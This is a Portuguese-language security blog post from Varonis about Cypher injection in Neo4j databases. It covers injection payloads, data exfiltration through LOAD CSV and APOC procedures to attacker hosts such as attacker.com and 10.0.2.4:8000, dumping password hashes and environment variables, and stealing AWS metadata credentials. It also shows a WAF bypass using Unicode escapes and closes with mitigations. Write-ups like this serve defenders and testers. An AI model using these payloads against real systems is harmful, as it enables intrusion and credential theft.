O blog da segurança de dentro para fora Blog   /     /  

Neo4jection: segredos, dados e exploit na nuvem

Neo4jection: segredos, dados e exploit na nuvem

Conteúdos

    Com o aumento contínuo de bancos de dados gráficos, como o Neo4j, estamos vendo um aumento nos debates entre pesquisadores de segurança sobre os problemas encontrados nesses bancos de dados. No entanto, devido à nossa experiência com bancos de dados gráficos, desde o projeto de soluções complexas e escaláveis com bancos de dados gráficos até o ataque a eles, notamos uma lacuna entre as conversas públicas e o conhecimento de nossos pesquisadores de segurança sobre esses sistemas. 

    Neste artigo, iremos fornecer uma demonstração abrangente, técnica e orientada para a segurança das diferentes técnicas de ataque e evasão que usamos ao longo dos anos em cenários do mundo real. Nosso objetivo é ajudar a melhorar a segurança geral desse armazenamento de dados amplamente usado e dos aplicativos que dependem dele. 

    Cypher

    Cypher é a linguagem de consulta gráfica do Neo4j que permite recuperar dados do gráfico. Ele usa “um tipo de sintaxe de arte ASCII”, no qual colchetes são utilizados para representar nós e parêntesis representam relacionamentos. Se isso soa familiar, é porque foi inspirado no SQL (de acordo com o Neo4j). 

    MATCH (a: Actor)-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director) 
    
    RETURN a, m, d

    Ao contrário do SQL, o Cypher oferece suporte a parâmetros no nível do protocolo. Mas há restrições aos parâmetros. Por exemplo, labels – que são as tags usadas para classificar nós e relacionamentos (Actor, actin, Movie, Director e directBy no nosso exemplo acima – não podem ser parâmetros, mesmo que sejam dinâmicos. 

    Filtrar dados

    Como o SQL, pode-se filtrar dados usando WHERE. Por exemplo: 

    MATCH (a: Actor)-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director) 
    
    WHERE a.name = 'Olivia Colman' 
    
    RETURN a, m, d 
    

    Mas há outra maneira muito comum de filtrar os resultados na própria instrução MATCH: 

    MATCH (a: Actor {name:‘Olivia Colman'})-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director) 
    
    RETURN a, m, d 
    

    A principal diferença é que o WHERE é muito mais versátil e suporta lógicas avançadas, como OR, IN, RegExes e outras. 

    Union

    O Cypher, também, oferece suporte a instruções UNION, que permitem concatenar os resultados de diferentes consultas, desde que tenham as mesmas colunas. A forma como os dados são recuperados não importa, desde que as colunas tenham os mesmos nomes: 

    MATCH (a: Actor) RETURN a.name UNION RETURN 'some name' as name 
    

    Avançado

    O Cyphers suporta lógica mais avançada na forma de procedimentos e funções. 

    Procedimentos – gerar dados. Usando apenas uma instrução “CALL”. Por exemplo, liste todos os rótulos 

    Funções – manipular dados. Por exemplo, determine o comprimento de uma lista. Ao contrário dos procedimentos, eles retornam um único valor. Pode ser usado em qualquer lugar onde expressões são permitidas, como declarações WITH, WHERE e RETURN. 

    CALL db.labels() YIELD label RETURN label 
    WITH [1,2,3] as l RETURN size(l) 
    

    Parâmetros

    O Neo4j oferece suporte ao fornecimento de parâmetros para consultas, isso permite que os desenvolvedores passem a entrada com segurança, separadamente da consulta, portanto, as injeções não são possíveis. 

    Os parâmetros são passados ao servidor pelo cliente separadamente da própria consulta e podem ter diferentes tipos de valor, como string, list, int, bool ou map. 

    Na consulta, os parâmetros são referidos usando o cifrão ($). 

    Os parâmetros são uma ótima maneira de os desenvolvedores evitarem injeções, mas há limitações. Por exemplo, eles não podem ser usados para denotar rótulos ou nomes de campo. 

    Injeções

    Como injetar

    As injeções podem ser encontradas em qualquer lugar na consulta, e as instruções MATCH e WHERE são cenários comuns. 

    Quanto encontramos uma injeção, a forma de explorá-la depende do local dentro da consulta. Abaixo destacamos uma tabela de diferentes locais de injeção e exemplos de exploração: 

    Injectable query Injection
    MATCH (o) WHERE o.Id='{input}' ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //
    MATCH (o) WHERE '{input}' = o.Id
    MATCH (o) WHERE {input} in [different, values]
    '=' {…} WITH 0 as _l00 RETURN 1 //
    MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
    MATCH (o) WHERE o:`{input}` a` {...} WITH 0 as _l00 RETURN 1 //
    MATCH (o {id:'{input}'}) '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
    MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){...} RETURN 1//
    MATCH (o:`{input}`) a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
    MATCH (o)-[r {id:'{input}'})]-(o2) '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
    MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
    MATCH (o)-[r:`{input}`]-(o2) a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //

    Observe a declaração UNION: 

    1. O motivo pelo qual UNION é necessário é que, se a instrução MATCH não retornar nada, o restante da consulta não será executado. Portanto, tudo o que é possível fazer lá simplesmente não será executado. 
    1. Adiconamos RETURN 1 antes de UNION para que ambas as partes retornem as mesmas colunas, o que é necessário para a execução da consulta. 

    Então, o que há com a declaração WITH? 

    Usando WITH, podemos descartar todas as variáveis existentes. Isso é importante quando não sabemos qual é a consulta (mais sobre isso depois). Se nossa carga acidentalmente tentar definir uma variável que já existe, a execução da consulta falhará. 

    Naturalmente, se conhecermos a consulta e o banco de dados, nenhuma dessas técnicas será necessária. Podemos até manipular os dados retornados para, por sua vez, manipularmos o processo em vez apenas de abusar do servidor. 

    Pós-exploração

    HTTP LOAD CSV

    Apesar de mencionado em outros artigos, sempre vale a pena lembrar, LOAD CSV tenta carregar um csv do sistema de arquivos ou da web. O acesso ao sistema de arquivos geralmente é restrito, a menos que as restrições tenham sido explicitamente levantadas no arquivo de configuração (o que é improvável que seja o caso) 

    Mas um invasor pode usar a funcionalidade da Web para exfiltrar dados. Se a consulta for: 

    MATCH (o) WHEREo.Id='{input}' RETURN o  
    

    Então o atacante pode injetar a seguinte string: 

    ' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

    Isso enviará todos os procedimentos instalados no banco de dados para o servidor do invasor. 

    APOC

    O APOC (Awesome Procedures on Cypher) é um plug-in extremamente popular e com suporte oficial para Neo4j e que aprimora muito seus recursos. E a primeira coisa que um invasor irá verificar é se o APOC está instalado. Como ele adiciona muitas funções e procedimentos adicionais que os desenvolvedores podem usar em seu ambiente, isso significa mais poder para o desenvolvedor, mas também entrega mais poder para o invasor. Com isso, invasores podem usar os vários procedimentos e funções que o APOC oferece para realizar ataques mais avançados. 

    O APOC oferece funções que podem ser úteis para injeções. Essas funções podem serializar e codificar dados, facilitando muito a exfiltração de conteúdo confidencial. 

    apoc.convert.toJson – converte nós, mapas e muito mais em JSON
    apoc.text.base64Encode – obtém uma string e a codifica como base64 

    Muito mais interessantes são os procedimentos que o APOC oferece. Eles são um divisor de águas para os invasores. HTTP: 

    apoc.load.jsonParams 
    
    apoc.load.csvParams 
    

    Vamos discutir mais sobre isso adiante no artigo. 

    Além disso, são interessantes os procedimentos e funções que permitem avaliar as consultas, entre eles: 

    • cypher.runFirstColumnMany — função que retorna os valores da primeira coluna como uma lista 
    • cypher.runFirstColumnSingle — função que retorna o primeiro valor da primeira coluna 
    • cypher.run — procedimento que executa uma consulta e retorna os resultados como um mapa 
    • cypher.runMany — procedimento que executa uma consulta ou várias consultas separadas por ponto e vírgula e retorna os resultados como um mapa. As consultas são executadas em uma transação diferente 

    Usando os procedimentos load. *params, um invasor pode especificar cabeçalhos, solicitar dados e usar métodos diferentes de GET 

    apoc.load.jsonParams

    Arguments:
    Nome Tipo Exemplo Necessário
    urlOrKeyorBinary Any "http://attacker.com/json" Sim
    headers Map or null { method: "POST", `Authorization`:"BEARER " + hacked_token} Sim
    payload String or null Data Sim
    path String or null Data Não
    config Map or null Null Não
    • urlOrKeyORBinary – Normalmente queremos uma URL, mas também é possível especificar os dados binários de um JSON.
    • headers – Exceto para cabeçalhos http, também podemos usar este campo para especificar o método. Importante! No momento em que este artigo é escrito, se quisermos emitir uma solicitação get, não devemos especificar um método. ‘método’: GET não funcionará devido a um bug na implementação
    • payload – Se quisermos enviar uma solicitação GET, isso deve ser nulo
    • path – Se quisermos apenas um valor específico na respsta JSON do endpoint invocado, podemos usar isso como argumento para recuperar apenas o valor desse campo
    • Config – Parâmetros de configuração adicionais para a consulta. Por exemplo, podemos dizer ao APOC que os dados recuperados são compactados da seguinte forma: {compression: 'DEFLTA'} 

    Valores de retorno:

    Name Description Type Example
    value The parsed JSON MAP {"Hello": "World"}

    apoc.load.csvParams

    Note: in Neo4j 5, este procedimento foi movido para o APOC estendido 

    Arguments:

    Name Type Example Is Required
    urlOrKeyorBinary Any "http://attacker.com/json" Yes
    headers Map or null { method: "POST", `Authorization`:"BEARER " + hacked_token} Yes
    payload String or null Data Yes
    config Map or null {header: FALSE} No
    • urlOrKeyORBinary – geralmente queremos uma URL, mas também é possível especificar os dados binários de um csv 
    • headers – exceto para cabeçalhos http, também podemos usar este campo para especificar o método.

      Importante! Se quiser uma solicitação GET, NÃO DEVEMOS especificar um método. ‘método’: GET não funcionará devido a um bug na implementação
       
    • payload – Se quisermos enviar uma solicitação GET, isso deve ser nulo 
    • config – Podemos usar config, por exemplo, para dizer ao APOC que os dados estão compactados. Por exemplo:

      {compression: ‘DEFLTA'}
       

    Também podemos usar config para alterar o delimitador, as aspas, o caractere de escape, o separador de matriz, pular linhas ou se o CSV tem um alinha de cabeçalho ou não. 

    Valores de retorno:

    Name Description Type Example
    lineNo The line number of the value Integer 0
    list List of values in a row List⟨string⟩ ["a","b","c"]
    map If headers are present, map will map the header with the value Map {"A: "a"}

    Exemplos:

    CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value 
    
    CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list 
    

    Extraindo dados do Neo4J

    Existem muitas funções internas e o APOC que podem nos ajudar a obter informações sobre o banco de dados. 

    Obter rótulos

    Usando o método interno db.labels, é possível listar todos os rótulos existentes. 

    Argurmentos: Nenhum
    Valores de retorno: 

    Name Description Type Example
    label Names of the labels Rows of strings Actor
    Movie

    Exemplo de injeção: 

    '}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0 
    

    Obtenha as propriedades de um nó e seus valores. 

    As teclas de função integradas podem ser usadas para listar as chaves das propriedades 

    Argumentos:

    • Um nó ou um mapa 

    Valor de retorno: 

    • As chaves do nó/mapa 

    É possível recuperar o valor de uma propriedade do nós se você tratá-lo como um mapa: n[key], para que possamos usar LOAD CSV para exfiltrar os dados. Certifique-se de usar toString 

    Exemplo de injeção: 

    ' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // 
    

    AVISO: Isso não funcionará se um dos campos for uma lista ou um mapa. 

    Se o APOC estiver disponível, há uma maneira melhor de fazer isso usando o apoc.convert.toJson 

    ' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 // 
    

    Argumentos: Qualquer coisa 

    Valor de retorno: 

    • String — the JSON representation of the input
    '}) RETURN 0 as _0 UNION MATCH (f:Flag)  LOAD CSV FROM 'http://10.0.2.4:8000/?json='+apoc.convert.toJson(f) as l RETURN 0 as _0 // 
    

    Obtenha a versão do servidor

    Uma maneira de obter a versão do servidor é usar o procedimento dbms.components() 

    Argumento: nenhum 

    Valor de retorno: 

    Name Description Type Example
    name The name of the component String Neo4j Kernel
    versions A list of versions List⟨String⟩ [“4.4.10”]
    edition The component's edition String community

    Exemplo de injeção: 

    ' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 
    

    Obter a consulta em execução

    Neo4j 4

    Existem várias maneiras de obter a consulta em execução. O mais fácil é usar o procedimento dmbs.listQueries() 

    Argumento: nenhum 

    Valores de retorno: Muitos, entre eles: 

    Name Description Type Example
    query The query itself String MATCH (o) RETURN o
    username The name of the user that has executed the query String Neo4j_user
    parameters The parameters with which the query is running Map main
    database The name of the database String Neo4j

    Exemplo de injeção: 

    ' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 // 
    

    Neo4J 5

    Dbms.listQueries foi removido. Em vez disso, podemos usar SHOW TRANSACTIONS. Existem duas limitações principais: 

    Consultas SHOW não são injetáveis

    Ao contrário de listQueries, podemos ver apenas a consulta atualmente executada na transação e não todas elas. 

    Se o núcleo APOC estiver instalado, podemos usá-lo para executar SHOW TRANSACTIONS. Se executarmos na mesma transação, apenas SHOW TRANSACTIONS será retornado em vez da consulta que estamos tentando ver. Podemos usar apoc.cypher.runMany para executar SHOW TRANSACTIONS, por que, ao contrário de outras funções e procedimentos de apoc.cypher, ele é executado em uma transação diferente. 

    ' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1// 
    

    Listar todas as funções e métodos

    Neo4j 4

    Usando os procedimentos embutidos dbms.functions() e dbms.procedures() é possível listar todas as funções e procedimentos. 

    Ambos não obtêm parâmetros e compartilha os seguintes valores de retorno: 

    Name Description Type Example
    name The name of the function or procedure String abs
    signature The signature — how to call it and return values String "abs(input :: INTEGER?) :: (INTEGER?)"
    description Describes what the function/procedure does String "Returns the absolute value of an integer."

    Existem outros valores de retorno que são menos relevantes para este artigo. 

    Exemplo de injeção: 

    ' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 
    
    ' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 
    

    Neo4j 5

    Esses procedimentos foram removidos no Neo4j 5 e já eram considerados obsoletos (mas funcionavam) no Neo4j 4. 

    Em vez disso, podemos usar SHOW PROCEDURES e SHOW FUNCTIONS. 

    Mostrar consultas que não podem ser injetadas

    Se o núcleo APOC estiver instalado, podemos usar qualquer um dos procedimentos ou funções que executam consultas para listar funções e procedimentos. 

    ' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 
    
    ' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value 
    
     LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 // 
    

    Obter banco de dados do sistema (incluindo hashes de senha)

    O banco de dados do sistema é um banco de dados Neo4j especial que normalmente não pode ser consultado. Ele contém dados interessantes armazenados como nós: 

    • Bancos de dados 
    • Funções 
    • Usuários (incluindo o hasj da senha!) 

    Usando o APOC, é possível  recuperar os nós, incluindo os hashes. Somente administradores podem fazer isso, mas na edição gratuita do Neo4j há apenas um administrador e nenhum outro usuário, então não é incomum encontrar-se executando como administrador. 

    Use o procedimento apoc.systemdb.graph() para recuperar os dados. 

    Argumentos: Nenhum 

    Valores de retorno: 

    Name Type Description
    Nodes List⟨Node⟩ The nodes in the database
    Relationships List⟨Relationship⟩ The relationships in the database

    O Neo4j funciona de maneira inesperada com esses nós: se você apenas retornar os nós, poderá ver seus dados. Mas se tentar obter um campo específico, isso não funcionará. Isso porque o Neo4j irá procurar a ID do nó e retornará o campo do nó com o mesmo |I|D no banco de dados atual. 

    Uma solução é usar a função apoc.convert.toJson(), que obtém qualquer entrada e a converte em JSON. 

    Exemplo de injeção: 

    ' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //  
    

    Observações: No Neo4j 5, os procedimentos foram movidos para APCO estendido. 

    O hash

    O Neo4j usa SimpleHash do Apache Shiro para gerar o hash. 

    Abaixo está um pseudo-código (AKA python) do processo de hash: 

    def hash(password, salt, iterations): 
    
        data = salt+password 
    
        for i in range(iterations): 
    
            m = sha256() 
    
            m.update(data) 
    
            data = m.digest() 
    
        return hexlify(data) 
    

    O resultado é armazenado como uma string de valores separados por vírgula: 

    1. Algoritmo Hash 
    1. Hash 
    1. Salt 
    1. Interações 

    Por exemplo: 

    SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024 
    

    Que significa: 

    1. O algoritmo has é SHA256 
    1. O hash em si é 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c 
    1. O salt é a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270 
    1. O número de iterações é 1024 (que é o padrão para Neo4j) 

    A senha, alias, é “Neo4j”. Não use esta senha. 

    Variáveis ambientais

    Frequentemente, desenvolvedores e engenheiros de DevOps usam  variáveis de ambiente para armazenar segredos, fato que os torna um alvo interessante. Além disso, um red-teamer pode aprender muito sobre o alvo a partir da variável de ambiente, que pode conter informações cruciais para o movimento lateral na rede da vítima. 

    Usando APOC, é possível recuperar a variável de ambiente por meio do procedimento apoc.config.map() ou apoc.config.list(). 

    Esses procedimentos só podem ser usados se estiverem incluídos na lista de procedimentos irrestritos no arquivo conf (dbms.sexcurity.procedures.unrestricted). Isso é mais comum do que se imagina, e pesquisar no Google o nome da configuração resulta em muitos sites e guias que aconselham a adicionar o valor “apoc.*”, que permite todos os procedimentos APOC. 

    Eles retornam a configuração do servidor, incluindo java e o sistema operacional, o que é interessante, claro, mas também retornam as variáveis de ambiente. 

    Os dois procedimentos são bastante semelhantes. A diferença é o valor de retorno. 

    Argumento: Nenhum 

    Valores de retorno: 

    apoc.config.list

    Name Type Description
    key Rows of strings The name of the configuration value or env var
    value Rows of strings The value of the configuration value or env var

    apoc.config.map

    Name Type Description
    map Map A key-value map

    Exemplo de injeção: 

    ' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 // 
    

    Nota: no Neo4j 5 os procedimentos foram movidos para APOC estendido. 

    Movimento lateral na nuvem

    Em provedores de nuvem como AWS, GCP e Azure, as máquinas virtuais possuem um servidor de metadados que pode fornecer credenciais para a nuvem. 

    AWS

    No AWS, o endereço do servidor de metadados é 169.254.169.254. Há muita informação lá, mas estamos focados em credenciais. Se a instância tiver um perfil de instância, que por sua vez tem uma função, então podemos obter suas credenciais. 

    São necessários três valores: 

    • AWS_ACCESS_KEY_ID 
    • AWS_SECRET_ACCESS_KEY 
    • AWS_SESSION_TOKEN 

    Precisamos definir esses valores como variáveis de ambientes ou colocá-los em um perfil de arquivo .aws/credencials e, em seguida, usar AWS CLI. Por exemplo: 

    > aws sts get-caller-identity 
    

    Ou

    > aws s3 list 
    

    As ferramentas de exploração da AWS, como Pacu, também podem usar essas credenciais. 

    A AWS tem dois modes de servidor de metadados: IMDSv1 e IMDSv2. O IMDSv2 é a versão mais segura, mas a configuração padrão é que ambas as versões estejam ativas. 

    IMDSv1

    Esta é a versão mais simples, menos segura, mas muito comum. 

    Como invasor, tudo o que você precis fazer é enviar um GET para a seguinte URL: 

    http://169.254.169.254/latest/meta-data/iam/security-credentials/ 
    

    A resposta é tecnicamente uma lista de funções, embora normalmente haja apenas uma função atribuída. Depois de conhecer a função, envie um GET para a seguinte URL: 

    http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} 
    

    Embora o formato seja JSON, também podemos usar LOAD CSV para fazer a requisição: 

    LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l  
    

    O resultado deve ficar assim: 

    [{"l":["{"]},{"l":["  \"Code\" : \"Success\"",null]},{"l":["  \"LastUpdated\" : \"2022-08-07T06:23:25Z\"",null]},{"l":["  \"Type\" : \"AWS-HMAC\"",null]},{"l":["  \"AccessKeyId\" : \"ASIAX****WZ\"",null]},{"l":["  \"SecretAccessKey\" : \"xKdQRduW****\"",null]},{"l":["  \"Token\" : \"IQoJb3JpZ2luX2Vj********a==\"",null]} 
    

    Conhecemos o tamanho e a estrutura da resposta, então podemos exfiltrar tudo: 

    LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
      
    WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _ 
    

    Isso enviará ao nosso servidor uma solicitação que contém primeiro a chave, depois o segredo da chave de acesso e, eventualmente, o token de acesso. 

    IMDSv2

    É a versão mais segura, projetada para proteger o servidor de metadados de simples falsificações de solicitação do lado do servidor (SSRFs). 

    Para usar o servidor de metadados, o invasor primeiro precisa enviar um PUSH para a seguinte URL: 

    http://169.254.169.254/latest/api/token 
    

    O servidor retornará um token que devemos colocar nas chamadas subsequentes ao servidor de metadados no cabeçalho: X-aws-ec2-metadata-token. 

    Isso levanta dois problemas: precisamos especificar cabeçalhos e usar métodos diferentes de GET. 

    LOAD CSV não pode fazer nenhuma dessas coisas, mas podemos usar apoc.load.csvParams para obter o token e a função e, em seguida, apoc.load.jsonParams para obter as próprias credenciais. O motivo pelo qual usamo csvParams é que a resposta não é um JSON válido. 

    Para obter o token: 

    CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token RETURN token 
    

    Para obter a função e as credenciais: 

    CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token 
    
    CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role  
    
    CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value 

    Observação: as duas últimas solicitação são GET. Para disparar com sucesso uma solicitação GET usando apoc.load.*Params, não devemos especificar um método. 

    Observação: o procedimento apoc.load.cvsParams foi movido para APOC estendido no Neo4j 5. 

    Comandos de chamada

    É possível chamar comandos AWS diretamente na instância Neo4j. 

    A AWS usa uma API baseada em XML para executar comandos e recuperar informações. Embora não haja apoc.load.xmlParams, é possível usar apoc.load.csvParams para recuperar XMLs. Ao alterar todos os caracteres especiais para caracteres binários que nunca aparecerão em um xml válido, podemos especificar cabeçalhos e o método e recuperar XMLs. 

    CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list 
    

    Truques

    Injeção de Unicode


    ^No Neo4j >= v4.2.0, muitas vezes é possível injetar Unicode usando “/uXXXX”. Por exemplo, você pode usar este método se o servidor tentar remover caracters como ‘, “, ` e assim por diante. 

    Isso pode não funcionar se uma letra seguir a sequência de escape Unicode. É seguro adicionar um espaço depois ou outra anotação Unicode. 

    Isso geralmente é útil quando há um WAF. Mas há outros casos em que esse recursos possibilita a exploração. Por exemplo, se o servidor remove as aspas simples e a consulta aparece da seguinte forma: 

    MATCH (a: {name: '$INPUT'}) RETURN a 
    

    É possível injetar: 

    \u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o // 
    

    Proteja seus dados 

    • Proteja seu código – sempre use parâmetros se possível. Se isso não for uma opção, certifique-se de higienizar a entrada do usuário 
    • Certifique-se de que seu Neo4j esteja configurdo para permitir apenas procedimentos e funções que você precisa e usa. Use a configuração dbms.security.procedures.allowlist e especifique os procesimentos que deseja permitir 
    • Em versões mais antigas (até Neo4j 4.1) é chamado dbms.security. procedures.whitelist 
    • Se você trabalha com o AWS, certifique-se de usar IMDSv2 
    • Respeite sempre o princípio do menor privilégio. Apenas conceda ao servidor as permissões necessárias para o seu trabalho. A máquina não deve ter outras permissões 

    Concluindo

    O Neo4j é uma ferramenta poderosa, usada e amada por desenvolvedores e especialistas em segurança. Como todas as ferramentas poderosas, já riscos a serem considerados ao usar a ferramenta, riscos que a maioria das pessoas não conhece ou entende. Esperamos que este artigo tenha ajudado a educá-lo sobre as diferentes maneiras pelas quais um invasor pode abusar do Neo4J, para que riscos sejam mitigados. Também esperamos que este artigo ajude especialistas em segurança a melhorar a segurança de sistemas e aplicativos que avaliam. 

    O que você deve fazer agora

    Citamos estão algumas maneiras pelas quais podemos ajudá-lo a começar a jornada para reduzir o risco de dados da sua empresa. 

    Agende uma sessão de demonstração conosco, iremos tirar todas as suas dúvidas e ajudá-lo  a ver se a Varonis é adequada para suas necessidades. 

    Baixe nosso relatório gratuito e conheça os riscos associados à exposição de dados SaaS. 

    What you should do now

    Below are three ways we can help you begin your journey to reducing data risk at your company:

    1. Schedule a demo session with us, where we can show you around, answer your questions, and help you see if Varonis is right for you.
    2. Download our free report and learn the risks associated with SaaS data exposure.
    3. Share this blog post with someone you know who'd enjoy reading it. Share it with them via email, LinkedIn, Twitter, Reddit, or Facebook.

    We're Varonis.

    We've been keeping the world's most valuable data out of enemy hands since 2005 with our market-leading data security platform.

    We've been keeping the world's most valuable data out of enemy hands since 2005 with our market-leading data security platform.

    How it works